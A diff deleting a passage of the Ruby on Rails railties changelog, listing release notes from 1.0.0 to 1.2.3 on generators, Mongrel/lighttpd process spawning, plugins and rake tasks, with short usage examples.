-* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
-
-* Add autoload_paths support to Initializer. [Nicholas Seckar]
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743.  [Rick Olson]
-
-* Clarify usage of script/plugin source. Closes #5344. [James Adam]
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279.  [Rick Olson]
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [Shugo Maeda]
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController.  [Rick Olson]
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
-
-* Fix script/plugin about so it uses about.yml and not meta.yml.  [James Adam]
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net]
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com]
-
-* Ensure the logger is initialized. #5629 [mike@clarkware.com]
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
-    spawner               # starts instances on 8000, 8001, and 8002 using Mongrel if available
-    spawner fcgi          # starts instances on 8000, 8001, and 8002 using FCGI
-    spawner mongrel -i 5  # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
-    spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
-    spawner -p 9100 -r 5  # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
-  Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net]
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com]
-
-* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com]
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
-    irb(#<TopController:0x40822a68>):002:0> show_source_list
-    0001  class TopController < ApplicationController
-    0002    def show
-    0003->    breakpoint
-    0004    end
-    0005    
-    0006    def index
-    0007    end
-    0008    
-    => "/path/to/rails/root/app/controllers/top_controller.rb"
-
-    irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
-    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
-    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
-    app/controllers/top_controller.rb:3:in `show'
-    => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu]
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com]
-
-* Don't assume Active Record is available. #5497 [bob@sporkmonger.com]
-
-* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
-
-* Mongrel support for script/server.  #5475 [jeremydurham@gmail.com]
-
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
-
-* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick Olson]
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org]
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
-
-* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
-
-* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
-
-* Add observer generator. Closes #5167. [François Beausoleil]
-
-* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
-
-* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org]
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
-
-* Distinguish the spawners for different processes [David Heinemeier Hansson]
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
-
-
-*1.2.3* (March 12th, 2007)
-
-* Ruby 1.8.6 compatibility
-
-* Windows: include MinGW in RUBY_PLATFORM check.  #2982 [okkez000@gmail.com, Kaspar Schiess]
-
-* Stop swallowing errors during rake test [Michael Koziarski]
-
-
-*1.2.2* (February 5th, 2007)
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
-
-* Require the dispatcher for Rails::Configuration#to_prepare.  [Rick Olson]
-
-
-*1.2.1* (January 16th, 2007)
-
-* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1
-
-
-*1.2.0* (January 16th, 2007)
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Generator: use destination path for diff tempfiles.  #7015 [alfeld]
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick Olson]
-  If you really want your plugins to reload, add this to the very top of init.rb:
-  
-    Dependencies.load_once_paths.delete(lib_path)
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file.  Closes #6852 [fearoffish]
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory.  Closes #4899 [Rick Olson]
-
-* Make config.plugins affect the load path and the dependencies system.  Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
-
-* Don't generate a components directory in new Rails apps.  [Jeremy Kemper]
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
-
-* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 [David Heinemeier Hansson]
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
-
-* Update to Prototype and script.aculo.us [5579]. [Sam Stephenson, Thomas Fuchs]
-
-* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'.  #6244 [fearoffish]
-
-* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished.  [Jeremy Kemper]
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT.  #6584 [jchris]
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true.  #6545 [Josh Susser]
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite.  #6364 [jeffw, Jeremy Kemper]
-
-* Generated directories are recursively svn added, like mkdir -p.  #6416 [NeilW]
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb  [Jeremy Kemper]
-
-* Revert environment changes for autoload_paths. [Michael Koziarski]
-
-* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
-
-* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
-
-* Update scaffold to use new form_tag block functionality.  Closes #6480. [Bob Silva]
-
-* Plugin generator: check for class collisions.  #4833 [vinbarnes@gmail.com]
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test.  [Jeremy Kemper]
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
-    config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. [Tim Lucas]
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* PostgreSQL: db:test:purge closes open database connections first.  #6236 [alex]
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
-    ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
-
-* script/runner can run files, pass on arguments, and be used as a shebang.  #6286 [Tuxie, dlpond]
-    #!/usr/bin/env /path/to/my/app/script/runner
-    # Example: just start using your models as if you are in script/console
-    Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs.  #6259 [obrie]
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
-
-* session_migration generator adds an index on updated_at.  #6207 [grg]
-
-* script/server creates the tmp/pids directory.  #6204 [jonathan]
-
-* Fix script/console --sandbox for internal transactions changes.  #5738 [Chris McGrath, charles.gerungan@gmail.com]
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
-documented in initializer.rb, the workaround is:
-  
-  config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
-  
-References #6031. [Nicholas Seckar]
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Formally Deprecate the old rake tasks. [Michael Koziarski]
-
-* Thoroughly test the FCGI dispatcher.  #5970 [Kevin Clark]
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method.  Fix bad path errors when trying to load config/routes.rb.  [Rick Olson]
-
-* Tighten rescue clauses.  #5985 [james@grayproductions.net]
-
-* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
-
-* Add Dependencies.load_once_paths. [Nicholas Seckar]
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
-
-* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
-
-  ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
-  ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration.  [Rick Olson]
-
-* Nested controller scaffolding also nests the generated layout. [iain d broadfoot]
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. [Nicholas Seckar]
-
-* Add autoload_paths support to Initializer. [Nicholas Seckar]
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743.  [Rick Olson]
-
-* Clarify usage of script/plugin source. Closes #5344. [James Adam]
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. [Nicholas Seckar]
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279.  [Rick Olson]
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 [mats@imediatec.co.uk]
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer.  #5679 [Shugo Maeda]
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController.  [Rick Olson]
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. [Jamis Buck]
-
-* Fix script/plugin about so it uses about.yml and not meta.yml.  [James Adam]
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 [sd@notso.net]
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 [mlaster@metavillage.com]
-
-* Ensure the logger is initialized. #5629 [mike@clarkware.com]
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
-    spawner               # starts instances on 8000, 8001, and 8002 using Mongrel if available
-    spawner fcgi          # starts instances on 8000, 8001, and 8002 using FCGI
-    spawner mongrel -i 5  # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
-    spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
-    spawner -p 9100 -r 5  # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
-  Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net]
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com]
-
-* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com]
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
-    irb(#<TopController:0x40822a68>):002:0> show_source_list
-    0001  class TopController < ApplicationController
-    0002    def show
-    0003->    breakpoint
-    0004    end
-    0005    
-    0006    def index
-    0007    end
-    0008    
-    => "/path/to/rails/root/app/controllers/top_controller.rb"
-
-    irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
-    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
-    vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
-    app/controllers/top_controller.rb:3:in `show'
-    => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu]
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com]
-
-* Don't assume Active Record is available. #5497 [bob@sporkmonger.com]
-
-* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
-
-* Mongrel support for script/server.  #5475 [jeremydurham@gmail.com]
-
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
-
-* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick Olson]
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org]
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
-
-* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
-
-* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
-
-* Add observer generator. Closes #5167. [François Beausoleil]
-
-* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
-
-* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org]
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
-
-* Distinguish the spawners for different processes [David Heinemeier Hansson]
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
-
-
-*1.1.6* (August 10th, 2006)
-
-* Additional security patch
-
-
-*1.1.5* (August 8th, 2006)
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems.  #4857 [Alisdair McDiarmid]
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
-
-* Includes critical security patch
-
-
-*1.1.4* (June 29th, 2006)
-
-* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. [headius@headius.com]
-
-* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3
-
-
-*1.1.3* (June 27th, 2006)
-
-* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2
-
-
-*1.1.2* (April 9th, 2006)
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. [Alisdair McDiarmid]
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
-
-* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) [David Heinemeier Hansson]
-
-* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem [David Heinemeier Hansson]
-
-
-*1.1.1* (April 6th, 2006)
-
-* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) [ruben.nine@gmail.com]
-
-* Update to Prototype 1.5.0_rc0 [Sam Stephenson]
-
-* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 [ryan.raaum@gmail.com]
-
-* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html [David Heinemeier Hansson]
-
-* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 [augustz@augustz.com]
-
-* Fixed that rails --version should have the return code of 0 (success) #4560 [blair@orcaware.com]
-
-* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. [Nicholas Seckar]
-
-* Fixed that spawner should daemonize if running in repeat mode [David Heinemeier Hansson]
-
-* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release [David Heinemeier Hansson]
-
-* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
-
-* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 [starr@starrnhorne.com]
-
-* Make Rails::VERSION implicitly loadable #4491. [Nicholas Seckar]
-
-* Fixed rake rails:freeze:gems #4518 [benji@silverinsanity.com]
-
-* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with [David Heinemeier Hansson]
-
-* Added gem binding of apps generated through the rails command to the gems of they were generated with [Nicholas Seckar]
-
-* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf [David Heinemeier Hansson]
-
-* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf [David Heinemeier Hansson]
-
-* Avoid passing escapeHTML non-string in Rails' info controller [Nicholas Seckar]
-
-
-*1.1.0* (March 27th, 2006)
-
-* Allow db:fixtures:load to load a subset of the applications fixtures. [Chad Fowler]
-
-  ex.
-
-   rake db:fixtures:load FIXTURES=customers,plans
-
-* Update to Prototype 1.5.0_pre1 [Sam Stephenson]
-
-* Update to script.aculo.us 1.6 [Thomas Fuchs]
-
-* Add an integration_test generator [Jamis Buck]
-
-* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. [Marcel Molina Jr.]
-
-  ex.
-
-    >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)])
-    <option value="1">a</option>
-    <option value="2">b</option>
-    <option value="3">c</option>
-    => nil
-
-* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. [Rick Olson]
-
-* Reject Ruby 1.8.3 when loading Rails; extract version checking code. [Chad Fowler]
-
-* Remove explicit loading of RailsInfo and RailsInfoController. [Nicholas Seckar]
-
-* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. [Nicholas Seckar]
-
-* Extend load path with Railties' builtin directory to make adding support code easy. [Nicholas Seckar]
-
-* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. [Nicholas Seckar]
-
-* Fixed rails:freeze:gems for Windows #3274 [paul@paulbutcher.com]
-
-* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 [guy.naor@famundo.com]
-
-* Add verification to generated scaffolds,  don't allow get for unsafe actions [Michael Koziarski]
-
-* Don't replace application.js in public/javascripts if it already exists [Cody Fauser]
-
-* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. [Nicholas Seckar]
-
-* Use require_library_or_gem to load rake in commands/server.rb.  Closes #4205.  [rob.rasmussen@gmail.com]
-
-* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. [Chad Fowler]
-
-* Added a backtrace to the evil WSOD (White Screen of Death).  Closes #4073. TODO: Clearer exceptions [Rick Olson]
-
-* Added tracking of database and framework versions in script/about #4088 [charles.gerungan@gmail.com/Rick Olson]
-
-* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults [David Heinemeier Hansson]
-
-* Added socket cleanup for lighttpd, both before and after [David Heinemeier Hansson]
-
-* Added automatic creation of tmp/ when running script/server [David Heinemeier Hansson]
-
-* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process [David Heinemeier Hansson]
-
-* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 [esad@esse.at]
-
-* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 [David Heinemeier Hansson]
-
-* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 [Thijs van der Vossen]
-
-* Added test:uncommitted to test changes since last checkin to Subversion #4035 [technomancy@gmail.com]
-
-* Help script/about print the correct svn revision when in a non-English locale.  #4026 [babie7a0@ybb.ne.jp]
-
-* Add 'app' accessor to script/console as an instance of Integration::Session [Jamis Buck]
-
-* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. [Jeremy Kemper]
-
-* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. [Jeremy Kemper]
-
-* Add integration test support to app generation and testing [Jamis Buck]
-
-* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though [David Heinemeier Hansson]
-
-* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! [David Heinemeier Hansson]
-
-* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 [ror@andreas-s.net]
-
-* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples:
-
-    m.template "stuff.config" , "config/stuff.config" , :collision => :skip
-    m.template "auto-stamping", "config/generator.log", :collision => :force
-
-* Added more information to script/plugin's doings to ease debugging #3755 [Rick Olson]
-
-* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets [David Heinemeier Hansson]
-
-* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration [David Heinemeier Hansson]
-
-* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) [David Heinemeier Hansson]
-
-* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton [David Heinemeier Hansson] 
-
-* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration [David Heinemeier Hansson]
-
-* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration [David Heinemeier Hansson]
-
-* Allow script/server -c /path/to/lighttpd.conf [Jeremy Kemper]
-
-* Remove hardcoded path to reaper script in script/server [Jeremy Kemper]
-
-* Update script.aculo.us to V1.5.3 [Thomas Fuchs]
-
-* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things [David Heinemeier Hansson]
-
-* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. [David Heinemeier Hansson]
-
-* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized.  Useful for things like per-environment configuration of plugins. [Michael Koziarski]
-
-* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. [David Heinemeier Hansson]
-
-* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 [tom@craz8.com]
-
-* Fixed documentation tasks to work with Rake 0.7.0 #3563 [kazuhiko@fdiary.net]
-
-* Update to Prototype 1.5.0_pre0 [Sam Stephenson]
-
-* Sort the list of plugins so we load in a consistent order [Rick Olson]
-
-* Show usage when script/plugin is called without arguments [tom@craz8.com]
-
-* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 [anna@wota.jp]
-
-* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 [jeremy@planetargon.com Marcel Molina Jr.]
-
-* Fix typo in mailer generator USAGE. #3458 [chriztian.steinmeier@gmail.com]
-
-* Ignore version mismatch between pg_dump and the database server. #3457 [Simon Stapleton]
-
-* Reap FCGI processes after lighttpd exits. [Sam Stephenson]
-
-* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. [rails@bencurtis.com, Marcel Molina Jr.]
-
-*1.0.0* (December 13th, 2005)
-
-* Update instructions on how to find and install generators. #3172. [Chad Fowler]
-
-* Generator looks in vendor/generators also.  [Chad Fowler]
-
-* Generator copies files in binary mode.  #3156 [minimudboy@gmail.com]
-
-* Add builtin/ to the gemspec. Closes #3047. [Nicholas Seckar, Sam Stephenson]
-
-* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. [Marcel Molina Jr.]
-
-* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. [Sam Stephenson]
-
-* Make load_fixtures include csv fixtures. #3053. [me@mdaines.com]
-
-* Fix freeze_gems so that the latest rails version is dumped by default. [Nicholas Seckar]
-
-* script/plugin: handle root paths and plugin names which contain spaces.  #2995 [justin@aspect.net]
-
-* Model generator: correct relative path to test_helper in unit test.  [Jeremy Kemper]
-
-* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. [Blair Zajac]
-
-* Have the lighttpd server script report the actual ip to which the server is bound. #2903. [Adam]
-
-* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. [James Adam]
-
-* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. [anonymous]
-
-* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database.  #2964 [Dreamer3]
-
-* Introducing the session_migration generator.  Creates an add_session_table migration.  Allows generator to specify migrations directory.  #2958, #2960 [Rick Olson]
-
-* script/console uses RAILS_ENV environment variable if present.  #2932 [Blair Zajac <blair@orcaware.com>
-
-* Windows: eliminate the socket option in database.yml.  #2924 [Wayne Vucenic <waynev@gmail.com>]
-
-* Eliminate nil from newly generated logfiles.  #2927 [Blair Zajac <blair@orcaware.com>]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Eliminate Subversion dependencies in scripts/plugin.  Correct install options.  Introduce --force option to reinstall a plugin.  Remove useless --long option for list.  Use --quiet to quiet the download output and --revision to update to a specific svn revision.  #2842 [Chad Fowler, Rick Olson]
-
-* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment.  #2846 [Rick Olson]
-
